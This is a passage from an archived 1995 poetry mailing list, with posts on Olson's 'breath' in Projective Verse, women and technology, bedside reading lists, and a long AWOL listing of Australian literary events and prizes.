Levinas: In the Time of the Nations
ditto: Outside the Subject

Wm. Burroughs: Letters 1945-59

Caldera Network Desktop: Getting Started

King: Sea of Words
> This is a rather sloppily confected companion to the
> inestimable Aubrey/Maturin novels of Patrick O'Brian.
> Don't waste your money, I think.

And, for my sins, I'm on a second tour of teh above-mentioned Aubrey/Maturin novels by O'Brian. Just now in the middle of _The Mauritius Command._ Anyone not having read these (now 17) books is invited to cease all other activities and really begin to enjoy life for the first time.

Tom Mandel

↑ Index

26. maria damon
Re: women & tech
Mon 3 Jul 1995

---

chris s.--chill. keep in mind we were responding to a request for bibliographic references. i haven;t noticed any mindlessly essentialistic celebration of "woman"ness in these messages. at the same time, it's interesting how quickly the list turned to critiques by women of how men "do" science --which is not the same thing as women writing about technology. what it pointed out to me was

the paucity of such materials, that we had to go somewhat far afield. anyway, that meandering is one of the interesting things about the list, for me.--md

↑ Index

27. Chris Stroffolino

Re: well, if we're going...

Tue 4 Jul 1995

Thank you Sandra and Maria for your responses--Though the tone of my last posting may suggest otherwise, I wasn't trying to claim that there was a "mindless essentialism" going on--I too find the meandering inter- esting and i was trying to direct it towards such issues as "critiques by women of how men do science"(damon) and "the impact of specific information technologies historically on women" and away from the more depoliticized illusion of mere "writing about technology" and though my interests tend to be more "class" oriented (and find 'technology' if not a false issue at least a "vehicle" that has gotten too large for its tenor and thus often a huge mystifier of "social processes" ---which is not a critique i'd make of poetry--even if one retrospectively defines poets from Sir Thomas Wyatt to Emily Dickinson as "technology" as Fuller did), I am curious in both of your (and others') speculations about women and science, and what "the next phase" (if you will) would be, say, without the notion of CYBORG----Again, thanks. Chris

↑ Index

28. Lindz Williamson

Re: women & tech

Tue 4 Jul 1995

On Mon, 3 Jul 1995, maria damon wrote:

> chris s.--chill. keep in mind we were responding to a request for bibliographic > references. i haven;t noticed any mindlessly essentialistic celebration of > "woman"ness in these messages. at the same time, it's interesting how quickly > the list turned to critiques by women of how men "do" science --which is not the > same thing as women writing about technology. what it pointed out to me was the > paucity of such materials, that we had to go somewhat far afield. anyway, that > meandering is one of the interesting things about the list, for me.--md
>

I'd say this was extremely true that man are awarded the ability to practice science, but women are only perceived to study the theory enabling them to write about tech and science, but not contribute. (this is a generalization) It seems to me after talking to friends in MSC programs that

there is bias against the female ability to remain logical at all times of the month. Interesting theory, I'd like to see the stats and the case study based on this observation. I also wonder if there was a similar study done on the male ability to retain ones senses when in the presence of breast.

Lindz

↑ Index

29. WILLIAM M. NORTHCUTT
Bedside Reading
Tue 4 Jul 1995

Here's my list:

Ron Silliman, Jones
Charles Reznikoff, Collected Poems (again and again and again)
John Irving, Son of the Circus
Sulfur (latest issue)
H.D., Asphodel
Pound/Lewis letters
Mark Lewisohn, The Abbey Road Recording Sessions

Schizoid reading seems to make sense. doesn't it???

William Northcutt

↑ Index

30. Blair Seagram
checking Eudora/bside reading
Tue 4 Jul 1995

I realize I haven't responded to this list from my new mail program, so this is a test.

Re: Bside reading, there has been a lapse too long to carry on more over I am slowing, getting through Ulysses, and saw a great documentary and performance on Beckett. I have a copy of 7 Types of Ambiguity and The Structure of Complex Words by William Empson. I look at them and they look back at me. I also have near me Blake's Poetry and Designs, a Norton Critical Anthology, which I was inspired to buy because of discussions on this list. As well Pomes All Sizes, by Kerouac, The Pocket Poets Series #48. A beautiful book I was given is The Inferno of Dante, a new verse translation by Robert Pinsky. The list continues. Many contemporary names known by the list. All this around me but I barely get to it.

Re: Fuzzy Logic- Is this discussion related to the comments by Charles Bernstein on rules vs no rules?

Re: Defoe by Leslie Scalapino. Can anyone give me an address where I can order this book?

Best wishes this 4th of July.

Blair

↑ Index

31. H. T. KIRBY-SMITH
breath rules
Tue 4 Jul 1995

As long as it is clear that by "breath" Olson did not really mean breathing, the inhalation and exhalation of air, there is no problem. Some people, however, think that by breath he meant breath, and imagine that his lines of poetry really have something to do with a physical part of the poet. Actually his lines were a typographical display on the page, which one is expected to "see."

Others are bothered by the fact that Olson simultaneously insisted on the poem as a personal performance, and attacked the effect of the printing press on poet, yet was much interested in seeing his poems in print.

But to worry about things like this is to betray the foolish consistency that Emerson told us is the hobgoblin of little minds, and to ignore the "Do I contradict myself? Very well, I contradict myself" of Whitman.

Olson meant by breath the incontrovertible spirit of the poet. "But breath is man's special qualification as animal," he says. Even in praising the typewriter he saw a technical method for expressing the breath: "It is the advantage of the typewriter that, due to its rigidity and its space precisions, it can, for a poet, indicate exactly the breath, the pauses, the suspensions even of syllables, the juxtapositions even of parts of phrases, which he intends." Breath, like technique, is a way of asserting power:

If I hammer, if I recall in, and keep calling in, the breath, the breathing as distinguished from the hearing, it is for cause, it is to insist upon the part that breath plays in verse which has not (due, I think, to the smothering power of the line by too set a concept of foot) has not been sufficiently observed or practiced, but which has to be if verse is to advance to its proper force and place in the day, now, and ahead. I take it that PROJECTIVE VERSE teaches, is, this lesson, that that verse will only do in which a poet manages to register both the acquisitions of his ear and the pressures of his breath.

Responses from quite a number of those who knew Olson and heard him read make it clear that "breath" is really an inimitable transcendental quality of the poetry and is a function of the immortal poetic soul.

Next question: Olson says that "breath is man's special qualification as an animal." Did he allow women breath as well?

↑ Index

32. Shaunanne Tangney

Re: women & tech

Tue 4 Jul 1995

On Mon, 3 Jul 1995, Lindz Williamson wrote:

> *On Mon, 3 Jul 1995, maria damon wrote:*
>
> *chris s.--chill. keep in mind we were responding to a request for bibliographic > references. i haven;t noticed any mindlessly essentialistic celebration of > "woman"ness in these messages. at the same time, it's interesting how quickly > the list turned to critiques by women of how men "do" science --which is not the > same thing as women writing about technology. what it pointed out to me was the > paucity of such materials, that we had to go somewhat far afield. anyway, that > meandering is one of the interesting things about the list, for me.--md*
>
> *I'd say this was extremely true that man are awarded the ability to practice science, but women are only perceived to study the theory enabling them to write about tech and science, but not contribute. (this is a generalization) It seems to me after talking to friends in MSC programs that there is bias against the female ability to remain logical at all times of the month. Interesting theory, I'd like to see the stats and the case study based on this observation. I also wonder if there was a similar study done on the male ability to retain ones senses when in the presence of breast.*
>
> *Lindz*

--not to get all pop-culture on y'all, but. . . I live next door to a three-year old, and the other night I was baby-sitting, and he was showing me his _Pocahontas_ (underlined as they are after the Disney movie) figurines, and John Smith comes with a sword AND a compass; Pocahontas is just/of course buxom, scantily clad, doe-eyed, and somehow always=already persecuted looking. . . There is something here--perhaps Old/New World, but male/female, too, and worth thinking about. I'm not going to jump on the Disney-is evil bandwagon (was

driving that particular wagon long, long ago) but there are still these mindless misrepresentations that because they are available at any burgerstand in the nation become fact/truth/history--accepted, and worse, acceptable.

Happy 4th of July, everyone. . .
ShaunAnne

↑ Index

33. Blair Seagram
Blake
Tue 4 Jul 1995

Correction: Blake's Poetry and Designs A Norton Critical Edition (not Anthology)

BS

↑ Index

34. Lindz Williamson
pocahantus
Tue 4 Jul 1995

Oh please don't start me on this one. Usually I'm a big Disney fan due only to the skill of the animation, the stories are so-so and I've never recovered from the butchering of the original Little MErmaid story (it's not supposed to have a happy ending). But Pocanhantus wins the big loser award. I can see how they tired to make a fair representation, but hollywood politics of $$$$$$ won instead. Their big mistake was choosing a historical figure rather than opting for pure fiction. And come on, is MEl GIbson really that good of a voice actor, I thought he graduated from the 12 step facial expression school of acting, especially after witnessing Hamlet. Anyway for a better recommendation I watched "MRs. Parker and the Vicious Circle" last night and I'd give it the thumbs up.

LIndz

↑ Index

35. George Bowering
Re: women & tech
Wed 5 Jul 1995

I think that "Happy 4th of July, everyone. . ." is a little ambitious. For some of us it should be "Happy 1st of July." Or 14th of July.

↑ Index

36. **George Bowering**
Re: bucky fuller
Wed 5 Jul 1995

We were riding thr elevated train that went right thru the big Fuller geodesic dome at Expo '67 in Montreal, when George Stanley said "I feel as if I am in the middle of a big Bucky brain!"

↑ Index

37. **George Bowering**
Re: sensitive
Wed 5 Jul 1995

Hey. Linz. Read thru the file of TISH. All the way thru the 60s ther writers in TISH went on and on about the local as the most important fact in Vancouver writing. Then jump ahead to my essay of a decade later, I guess, in which I explain the difference between local (B.C. consept) and regional (Ont. concept.)

↑ Index

38. **George Bowering**
Re: sentimentality
Wed 5 Jul 1995

I would not be surprised to hear that rock players take their work seriously.

↑ Index

39. **Michael Boughn**
Re: breath rules
Wed 5 Jul 1995

Where did this strange, reductionist idea that Olson equated the length of a line with the length of a breath come from anyway? What I read is "the HEAD, by way of the EAR, to the SYLLABLE, the HEART, by way of the BREATH, to the LINE".

I don't quite understand how this gets translated into "the length of a breath should equal the length of a line".

It seems to me that what's at stake here is a fundamental prosodic principle. Do we base our verse on verse forms abstracted from speech and regularized (historically) in print, or do we root them in the human voice and all of its breathy irregularities in which we can hear, as Olson would have it, the passionate speech of the heart. To finish the quote TH Kirby-Smith starts: "But breath is man's special qualification as animal. Sound is a dimension he has

extended. Language is one of his proudest acts. And when a poet rests in these as they are in himself (in his physiology, if you like, but the life in him, for all that) then he, if he chooses to speak from these roots, works in that area where nature has given him size, projective size."

What seems clear to me from this is the push in poetry to get back to language as spoken, as voice--not as a distinguishing identity, manifestation of self, but as root of our relation to the world. We're in Walter Ong country here, or Stanley Cavell country when he criticizes Derrida's graphocentrism and argues for voice as the mark of the human and the limit of the metaphysical. Because language is breath, ontologically speaking. Or as Chaucer has it in Olson's favorite poem of his: "Speech is nought but ayre ybroken."

Also, lest we foget, "Projective Verse" is a polemical piece. It was written in response to specific repressive, dominant practices, and it's concerns are with creating an opening for other work to get done. It is not prescriptive in the same way that 18th century handbooks were. Rather, it's meant as an attack on prescription, as an opening up. (For a very interesting discussion on the differences between the traditional prescriptive handbooks and the proclamations and manifestoes of modern poets after 1795, check out Donald Wesling's *The Chances of Rhyme*.)

There's also, I think, a whole unopened can of worms here that has to do with the relation of poetry to this kind of expository prose. I just read an essay by a guy named Lawrence Rainey that attacks HD and judges her to be a "minor" poet partially because she only wrote poetry and never engaged in the polemical battles that so occupied many of her male companions. As if your poetry can only be interpreted and validated in terms of these abstract arguments, rather than the other way around.

Best,
Mike
[redacted]

↑ Index

40. Lindz Williamson

Re: sensitive

Wed 5 Jul 1995

On Wed, 5 Jul 1995, George Bowering wrote:

> Hey. Linz. Read thru the file of TISH. All the way thru the 60s ther
> writers in TISH went on and on about the local as the most important
> fact in Vancouver writing.
> Then jump ahead to my essay of a decade later, I guess, in which I

> explain the difference between local (B.C. consept) and regional
> (Ont. concept.)
>
Yeah, somebody finally agrees with me! I'm not mental after all.

Lindz

↑ Index

41. Chris Stroffolino
Re: sensitive
Wed 5 Jul 1995

LindZ--well if you want agreement, I agree with what you say about men's "logic" too. I was just hoping the woman who told me to chill and once called you irresponsibly young or something would respond to it as well...reactively yours, chris

↑ Index

42. Edward Foster
Re: tech and aesthetics / how to teach?
Wed 5 Jul 1995

---

i recommend the garden at tanya's on grove street in jersey city; good, terrific food for the price (very reasonable), good setting, good place to sit and talk. out of the way but central for ny/nj area.

↑ Index

43. Lindz Williamson
Re: sensitive
Wed 5 Jul 1995

On Wed, 5 Jul 1995, Chris Stroffolino wrote:

> LindZ--well if you want agreement, I agree with what you say about
> men's "logic" too. I was just hoping the woman who told me to chill
> and once called you irresponsibly young or something would respond
> to it as well...reactively yours, chris
>
NOw, now Chris Let's not get snarky. I don't want to shatter everyone's image of one big happy poetic circle. I just like it when someone as repsectable (not sure if that really fits) as George Bowering has had the same observations as myself. Funny how no one attacks him isn't it?

Lindz

↑ Index

44. George Bowering
Re: breath rules
Wed 5 Jul 1995

Not only is "Projective Verse" a polemical piece; it was written in a flash; and I remember Olson saying he was surprised at its canonization. Worse was the dumb response of (often unsympathetic) academics, who started talking about "Projectivist" poets, and the "breath-line"; a highly instructive article was written a few years ago by a U. of T. woman who showed that Williams's lines are not oral lines but something to read AGAINST the breath, as a tight music.

↑ Index

45. George Bowering
Re: sun & moon/blue M&Ms
Wed 5 Jul 1995

Dodie is right: I would never leap imaginatively from S&M to M&M's. I would have thought of Smarties, as in, "That smarts!"

↑ Index

46. Mark Roberts
(no subject)
Wed 5 Jul 1995

July Happenings

Australian Writing OnLine

AWOL Happenings. A monthly guide to readings, book launches, conferences and other events relating to Australian literature both within Australia and overseas. If you have any item which you would like included in future listings please contact AWOL.

Our email address is changing. By late July we hope to have our new address up and running. Until then you can contact AWOL by emailing [redacted] (we may take a day or so to respond), writing to AWOL, PO Box 333, Concord NSW 2137, Australia or by phoning 02 7475667.

AWOL postings are also available by snail mail - please contact us for details.

AWOL posts are archived on the WWW at the following address
http://www.anatomy.su.oz.au/danny/books/index.html
then click on Australian Writing OnLine.

********** NSW

SYDNEY

READINGS

SYDNEY

4th Monday of each month...FUTURE POETS SOCIETY 8pm, Lapidary Club Room, Gymea Bay Road, Gymea. Details phone Anni Featherstone (02) [redacted].

Every Tuesday...POETRY SUPREME 9pm, Eli's Restaurant, 132 Oxford Street, Darlinghurst. Details phone/fax (02) [redacted].

1st and 3rd Wednesday ...POETS UNION 7pm, The Gallery Cafe, 43 Booth Street, Annandale. Details phone (02) [redacted].

4th Wednesday...LIVE POETS AT DON BANKS MUSEUM 7.30pm, 6 Napier Street North Sydney. Guest reader plus open section. Admission $6 includes wine. Details phone Sue Hicks or Danny Gardiner (02) [redacted].

Every Thursday...POETRY ALIVE 11am-1pm, Old Courthouse, Bigge Street, Liverpool. Details phone (02) [redacted].

1st Friday...EASTERN SUBURBS POETRY GROUP 7.30pm, Everleigh Street, Waverly. Details phone (02) [redacted].

2nd & 4th Saturday...GLEEBOOKS READINGS 2pm, Gleebooks, 49 Glebe Point Road, Glebe. Details Nick Sykes (02) [redacted].

3rd Sunday...POETRY WITH GLEE: THE POETS UNION AT GLEEBOOKS. 2-4pm, 49 Glebe Point Road, Glebe. Admission $5/$2 Details Nick Sykes (02) [redacted].

Every Sunday...THE WORD ON SUNDAY11.30am Museum of Contemporary Art, Circular Quay. 2 Admission $8/ $5. Details phone (02) [redacted].

NSW WRITERS' CENTRE EVENTS

WOMEN WRITERS' NETWORK 2nd Wednesday.7.30pm, NSW Writers' Centre. Details Ann Davis (02) [redacted].

FEMINIST & EXPERIMENTAL WRITERS' GROUP meets every second Friday 6.30-9.30pm. Details Margaret Metz (02) [redacted] or Valerie Williamson for details of venues.

LIFE STORIES TEN WEEK COURSE WITH PATTI MILLER.. Have you started your life story? Need some fresh writing ideas and encouragement? This ten week course is open to anyone who has already participated in a Life Stories workshop as well as those who have not attended a workshop before. $150 for NSWWC members, $200 for non members. Beginning Thursday 20 July. Details and bookings (02) [redacted].

IS MY SHIT FUNNY? COMEDY WRITING WITH SUE INGLETON. Where does it come from? Can you do it? $120 Saturday 22 and Sunday 23 July 9.30 -5pm. Details and bookings (02) [redacted].

Unless otherwise stated all NSW Writers' Centre events are held at the Centre in Rozelle Hospital Grounds, Rozelle. Enter from Balmain Road opposite Cecily street and follow the signs.

Seminars

Women In Publishing (WIP). DESIGNING BRIEFS. Good design is a crucial part of any publishing project. In the DESIGNING BRIEFS seminar on 24 July WIP will cover briefing designers so that you will achieve the best possible presentation of your message. For further information contact Anne Reilly on 02 [redacted], fax 02 [redacted] or write to Women in Publishing PO Box 1515, North Sydney, NSW 2059.

REGIONAL

ARMIDALE 1st Wednesday 7.30pm, Rumours Cafe in the Mall. Details phone James Vicars (067) 73 2103.

WOLLONGONG 2nd & 4th Tuesday 7.30pm, Here's Cheers Restaurant, 5 Victoria Street, Wollongong. Details phone Ian Ryan (042) 84 0645.

LISMORE 3rd Tuesday 8pm. Stand Up Poets, Lismore Club, Club Lane. Details phone David Hallett (066) 891318.

NEWCASTLE

1st Sunday... Illuminating Tales at the Commonwealth Hotel, Union/ Bull Streets, Newcastle. Details phone Bill Iden (049) 675 972

3rd Monday... Poetry at the Pub. Newcastle Bowling Club, Watt Street. Details phone Bill Iden (049) 675 972
****

QUEENSLAND

Queensland Writers Centre Events

Exciting Writing: Reading of New Works at the Queensland Writers' Centre. 25 July Downtown - Street kids and kids in the street. With Helen Demidenko, James Moloney and Sue Gough. Chaired by Rosie Fitzgibbons. Queensland Writer' Centre, 535 Wickham Terrace, Spring Hill. 7.30 pm. Admission $10 for QWC members. $15 for non-members.

Short stories and fiction writing. Jane Hyde is again part of the Queensland Writers' Centre Writers in the Library Project in 1995. After her success at Bulimba library last year, she is moving to New Farm library to commence a

five week course teaching short storiesand fiction writing. The course commences on Thursday 6 july from 3.30 to 5.30 pm. A booking fee of $10 for QWC members and $20 for non-members applies. Contact the Queensland Writer' Centre, 535 Wickham Terrace, Spring Hill or any Brisbane City Council Library or phone (07) [redacted] for further details. This is a part of the Queensland Writers' Centre 'Writers in the Library' Project.

REDCLIFFE Library, 7 July - 4 August, a once a week course with Sue Gough, on Writing for young people. Contact the library for registration form. At MACKAY Library on 20 July, Gary Crew conducts a Writing for young people workshop. Again, contact the library. In Brisbane, the workshops are at New Farm (6 July - 3 August) with Jane Hyde and short story and fiction writing, Toowong (1 - 29 August) with five separate tutors on separate topics and Writing with young people at Everton Park library commences 8 August, for 11-15 year olds. At the Centre in Wickham Terrace a course on contemporary novels largely set in Brisbane, commences on 9 August, with Vivienne Muller and Adam Shoemaker. Novels to be discussed include: Johno (David Malouf), Romeo of the Underworld (Venero Armanno) and Praise (Andrew McGahan). Ph (07) [redacted], Adam Shoemaker for details.

VICTORIA

MELBOURNE
Poets, Poetry and Poetoric
La Mama Poetica at La Mama Theatre, Faraday Street, Carlton
Monday 19th June, 8.00pm $5.00(conc.)& $7.00
Featuring Jennifer Strauss, Lauren Williams and Geoff Prince.
Join us for fine poetry and spirited discussion.
Enquiries; Catherine Bateson Ph (03) 9383 5677
****

CONFERENCES

WAR'S END?

GRIFFITH UNIVERSITY/JAMES COOK UNIVERSITY

QUEENSLAND STUDIES CENTRE ANNUAL CONFERENCE 8-9 JULY

August 1945 marked the end of the most harrowing and transforming collective experience in the history of modern Australia. How much of the 'old' Australia came to an end with the cessation of hostilities, and how much continued as before? What different meanings did the war's end have for different groups and institutions in Australian society?

The Queensland Studies Centre will be holding its annual two-day conference, in association with the History Department of James Cook University in Townsville on 8-9 July of this year.

The conference will be interdisciplinary in scope, embracing military, social and cultural history; politics and political economy; literary and cultural studies. Papers exploring any of the following aspects of the topic would be welcome:

* literature and the arts
* education and social policy
* Aboriginal and ethnic communities
* women's history
* military and social history
* politics and industrial relations
* journalism and the media

Venue: Townsville, Queensland.

Date: 8-9 July, 1995.

Enquiries to:

The Queensland Studies Centre (Director, Patrick Buckridge)
Faculty of Humanities
Griffith University
Nathan QLD 4111.
Ph.: (07) 85 5494 Fax: (07) [redacted]
E-mail: [redacted]

Association for the Study of Australian Literature

ASAL
2-7 July 1995
Adelaide

The 1995 ASAL conference will be held at the historic Institute Building on North Terrace in the heart of Adelaide.

Keynote Speaker: Paul Carter, author of The Road to Botany Bay and Living in a New Country.

Dorothy Green Memorial Lecture: Drusilla Modjeska, author of Exiles at Home and Poppy.

Enquiries: Phil Butterss, Department of English, University of Adelaide, Adelaide 5005.
Ph: (08) [redacted]. Fax: (08) [redacted].
Email: [redacted]

(The 1995 ASAL program is available on AWOL's WWW link. Address http://www.anatomy.su.oz.au/danny/books/index.html then click on Australian Writing OnLine)

EUROPEAN ASSOCIATION FOR STUDIES ON AUSTRALIA

Third conference: Copenhagen, October 6-9, 1995

Conference theme: Inhabiting Australia: The Australian Habitat and Australian Settlement.

The conference aims to bring together contributions from a wide range of disciplines, from architecture to zoology. Papers which take up the theme from cultural, historical, social, scientific, literary and other perspectives are invited.

Registration forms will be distributed by the beginning of January, 1995. Deadline for registration, July 1, 1995.

Further information available from Conference organisers:

* Bruce Clunies Ross (45) 35 32 85 82 internet: [redacted] * Martin Leer (45) 35 32 85 87 internet: [redacted] * Merete Borch (45) 35 32 85 84 internet: [redacted]

Copenhagen University, Department of English Njalsgade 80, DK-2300 Kobenhavn S
Phone. (45) 35 32 86 00
Fax (45) 35 32 86 15

* Eva Rask KnudsenWiedeweldtsgade 50, st.
2100 Copenhagen O. (45) 35266025

SYMPOSIUM: (POST) COLONIAL FICTIONS: RE-READING ELIZA FRASER AND THE WRECK OF THE STIRLING CASTLE.

University of Adelaide, 25-26 Nov., 1995.

Contact: Kay Schaffer, Department of Women's Studies, 08 [redacted] direct, 08 [redacted] FAX, e-mail: [redacted]

Post-colonial studies within Australia have attempted to re-evaluate and re-write colonial history to include those people either marginalised or subjugated by the colonial process. This two day symposium will explore a different aspect of post-colonial discourse through the exploration of one of the best known events in Australian colonial history. In 1836 the 'Stirling Castle' was wrecked off the Queensland coast and many of the crew together with the Captain's wife, Eliza, were marooned on Fraser Island. Events surrounding the rescue of the castaways, in particular Mrs. Fraser, received international media attention. In the last 160 years the story of Eliza Fraser has become the subject of popular myth, fiction, opera, art, film and scholarly research in the areas of cultural

studies, literature, history, anthropology, archaeology, women's studies, and the visual arts. (Post) Colonial Fictions will examine critically the Eliza Fraser saga by bringing together, for the first time, an interdisciplinary team of academics, authors, artists and members of the Fraser Island community. Discussions will include feminist analyses of the incident, textual and iconographic representations of Aboriginal people, and Eliza Fraser as a creative inspiration for the arts.

Speakers on 19th century ethnography, visual arts, and Fraser Island history include: Ian Mc Niven, Lynette Russell, Rod McNeil, Olga Miller, Elaine Brown; on 20th century cultural studies and Batdjala representations include: Kay Schaffer, Sue Kossew, Jim Davidson, Jude Adams and Fiona Foley. We are hopeful that the symposium will include an exhibition of Fiona Foley's works and a performance by University of Adelaide Conservatorium of Music students of the theatre opera: "Eliza Fraser Sings" (arranged by Peter Sculthorpe/libretto by Barbara Blackman).

The Centre for Australian Studies in Wales, University of Wales, Lampeter, is hosting a conference next year entitled "Australian Studies and the Shrinking Periphery: Surfing the Net for Australia." Organisers are calling for papers.

"In recent years the consolidation of Europe into the 15 states of the EU, the integration of east and west within Europe, and the progressive turning of Australia to its own Pacific backyard have furthered the impression of periphery: one world's edge looking distantly at the other."

The contacts are:

Dr Graham Sumner and Dr Andrew Hassam
Centre for Australian Studies in Wales
University of Wales
Lampeter
Dyfed, SA48 7ED,
Wales, UK.

Telephone: Graham Sumner [redacted] or 424790 (secretary)
Andrew Hassam [redacted] (secretary)

Fax: Graham Sumner [redacted]
Andrew Hassam [redacted]

E-mail: [redacted] or [redacted]

Offers of papers should reach the organisers by 31 December 1995, and comprise a full title and an abstract of no more than 100 words.

Further information will be sent when available, and will appear on the Centre's WWW home-page (htp://www.lamp.ac.uk/oz).

CONTESTS & COMPETITIONS

The Mattara Poetry Prize is back, and is now known as the Newcastle Poetry Prize. As in previous years, the prize is $10,000. This year we are looking for an unpublished poem or group of poems (not necessarily thematically connected) of fewer than 200 lines. There is a $5 entry fee this year, and the closing date is 17 JULY 1995. The judges are Dorothy Hewett, Antigone Kefala and Paul Kavanagh.

To enter: Send 2 stamped addressed envelopes plus $5 to:
The Newcastle Poetry Prize
Newcastle Community Arts Centre
PO Box 5267D
Newcastle West NSW 2302

No personal details should appear on the manuscript. Any enquiries can be directed to the Arts Centre on (049) 611696 or the English Department at Newcastle University on (049) 215175. Alternatively, e-mail Tim Dolin: [redacted].

WARANA WRITERS' WEEK 1995 LIBRARY BOARD OF QUEENSLAND YOUNG WRITERS AWARD. The best piece of unpublished creative writing relevant to Queensland, length 2,000 to 2,500 words, entrants aged from 18 -25 years as of 1 January 1995. Prize $1,500. Details (07) [redacted]. Closing date 28 July

WARANA WRITERS' WEEK CITY OF BRISBANE SHORT STORY AWARD. Unpublished stories 1,000 to 5,000 words. Prize $1,000 and certificate. Entry fee $5. Details and entry forms from Wendy Mead, Director, Warana Writers' Week, PO Box 993 Fortitude Valley Qld 4006. Closing date 28 July

WARANA WRITERS' WEEK THE PREMIER'S POETRY AWARD. Unpublished single poem or related group of poems to 300 lines. Prize $1,000 and certificate. Entry fee $5. Details and entry forms from Wendy Mead, Director, Warana Writers' Week, PO Box 993 Fortitude Valley Qld 4006. Closing date 28 July

QUEERLIT FICTION PRIZES. The Bookshop Darlinghurst prize for pre-eminent entry ($300): Pop Shop prize for humorous fiction ($200), Aussie Boys Prize for youth (under 30) for fiction ($200), Tool Shed Prize for erotic fiction (hamper of sex toys to the value of $150), Feminist Bookshop 21st Anniversary prize for lesbian fiction ($100 book voucher). Entries expected to have a 'queer' theme. Send to QueerLit, PO Box 359, Glebe NSW 2037. Entries will not be returned. Details (02) 3583686. Closing date 31 July.

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While AWOL makes every effort to ensure the accuracy of Happenings listing we suggest you confirm dates, times and venue.

AWOL would like to thank the following organisation who provided information for this list: NSW Writers Centre, Queensland Writers Centre, AusLit discussion group (internet), WIPround (Women in Publishing) and the other individuals and organisations who supplied information about their events directly to AWOL.

↑ Index

47. Mark Roberts
Re: unsubscribe
Wed 5 Jul 1995

I unsubscribed last friday and received a message saying that I was unsubscribed. But I am still receiving mail. As my address will be shut down in the next few days could somebody please un sub me

Mark

↑ Index

48. Burt Kimmelman
Re: breath rules
Wed 5 Jul 1995

I am reminded of the original meaning of *inspire*--to be breathed into by the muse. So much of Olson has to do with the visceral, and he was let's face it a heavy breather (how could a guy as big as he not be?) and his breaths when reading, as I recall, made the poem dramatic.

as for the visual: when we stop connecting poems to the flesh and blood and breath and tempo, then maybe we're no longer talking about poems but rather about painting-drawing-sculpture (paging Ms. Holzer) or whatever but not poetry.

↑ Index

49. Burt Kimmelman
Re: breath rules
Wed 5 Jul 1995

---

continuing from my last msg:

what about olson's "the resistance" (am i recalling the title right?) about the tendons and ligaments and so forth?

↑ Index

50. Burt Kimmelman
Re: tech and aesthetics / how to teach?
Wed 5 Jul 1995

Ed, your suggestion of garden at tanya's sounds fine. but anyway i didn't mean to imply that we had to eat in one of two cities--newark or hoboken. i'd be willing to travel to bklyn or manhattan too.

but tanya's is okay. anyone else coming?

burt

↑ Index

51. John Fowler
summer reading
Wed 5 Jul 1995

For summer reading you might check GRIST On-Line WWW--

http://www.phantom.com/~grist

You'll find poetry from more than 100 authors, reviews, essays, calendars of events, and some pretty interesting links as well.

Thanks,

[redacted]
GRIST On-Line

↑ Index

52. Steve Carll
Re: sensitive
Thu 6 Jul 1995

> *NOw, now Chris Let's not get snarky. I don't want to shatter everyone's image of one big happy poetic circle. I just like it when someone as repsectable (not sure if that really fits) as George Bowering has had the same observations as myself. Funny how no one attacks him isn't it?*

Lindz, weren't you reading when George bagged on Hole? Or did i get suckered by sarcasm?

Steve

↑ Index

53. Steve Carll
Re: breath rules
Thu 6 Jul 1995

Burt K writes:

> *as for the visual: when we stop connecting poems to the flesh and blood and breath and tempo, then maybe we're no longer talking about poems but rather about painting-drawing-sculpture (paging Ms. Holzer) or whatever but not poetry.*

Really? Are poems the only things that are poetry? And is it even possible, even given an emphasis on the visual, that poems *can* be disconnected from flesh, blood, breath and tempo? Or is there an everpresent connection to these things that is merely reshaped by that visuality? Are painting, drawing and sculpture not connected to flesh and blood, breath and tempo? This paragraph makes me think of a lot of questions (which probably should have remained unsaid). Please elaborate, Burt.

Thanks,
Steve

↑ Index

54. Rod Smith
Olson's mouthwash
Thu 6 Jul 1995

I'm teaching an advanced poetry workshop in the fall & wld welcome any comments on collections I might use. At this point I'm thinking the Hoover _Norton Postmodern_, _In the American Tree_, _o blek 12_, & maybe _Chain 2_ or _Disembodied Poetics_. Curious if people have found the Messerli book "better" in the classroom, but it lacks the critical material which I think wld be useful. Thanks.

--Rod Smith

↑ Index

55. Michael Boughn
Re: breath rules
Thu 6 Jul 1995

George:

Can you be any more specific on the Williams essay you referred to? I'd be very interested to read it.

Thanks,
Mike
[redacted]

↑ Index

56. Charles Alexander
Re: breath rules
Thu 6 Jul 1995

> *as for the visual: when we stop connecting poems to the flesh and blood and breath and tempo, then maybe we're no longer talking about poems but rather about painting-drawing-sculpture (paging Ms. Holzer) or whatever but not poetry.*

I really dislike it when people start proselytizing on what's poetry and what's not poetry, what's music and what's not music, what's book art and what's not book art, etc. Can't you just say you don't like something, without trying to cast it out of the pool? By these standards the work of William Blake is, for the most part, not poetry at all. Do you want to cast him out, too? Shall we begin making lists of artists whose work doesn't fit in?

please

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

57. Jordan Davis.
lists are fun (except when they're not)
Thu 6 Jul 1995

Charles Alexander wrote:

I really dislike it when people start proselytizing on what's poetry and what's not poetry, what's music and what's not music, what's book art and what's not book art, etc. Can't you just say you don't like something, without trying to cast it out of the pool? By these standards the work of William Blake is, for the most part, not poetry at all. Do you want to cast him out, too? Shall we begin making lists of artists whose work doesn't fit in?

But: lists are fun. Sorry.

Love,
Jordan
(Registered in the Mormon book of the Dead)

↑ Index

58. R I Caddel
bedside books etc
Thu 6 Jul 1995

I've enjoyed these lists, which in many cases sent me back to my own shelves - a process which throws up Feynmann (fine drummer, yes?), Chatwin's Songlines and Julian of Norwich has to be worth continuing. In my case the bedside/chairside/deskside/briefcase distinction doesn't work, because the bedside books tend to move to the breakfast table, the breakfast books come to work and so on - i.e. they all move. Which is what a good book should do... Here goes: 1. Active in Airtime 4 : latest ed, of Essex University based magazine edited by John Muckle & Ralph Hawkins. 2. Robin Blaser: The Holy Forest. 3. Ulla Dydo's Stein Reader. I needed this book years ago. 4. Ian Hamilton Finlay: Brount (Peninsula, 1995). I think this is the only bilingual English/Dutch publication I have. " : Ein Projekt fur das Bankhaus Schroder Munchmeyer Hengst & Co (Wild Hawthorn, 1995). 5. F.C.Happold: Mysticism (this penguin anthology came off the shelf when Julian was mentioned and I began a revisiting tour of the English Mystics). 6. Eric Mottram: Selected Poems (North & South). " : Blood on the Nash Ambassador (Hutchinson). 7. Michael Palmer: At Passages (Haven't got beyond the lovely Ben Watkins cover yet). 8. Terry Pratchett: Reaper Man (Arrgh! go back three spaces! this isn't the kind of book serious people are supposed to like!)(But I do - apart from anything else I like the Orang-utan Librarian, who gets paid peanuts...). 9. Micheal Tippett: Those 20th Century Blues. 10. Gilbert White's Journals v.III, ed. 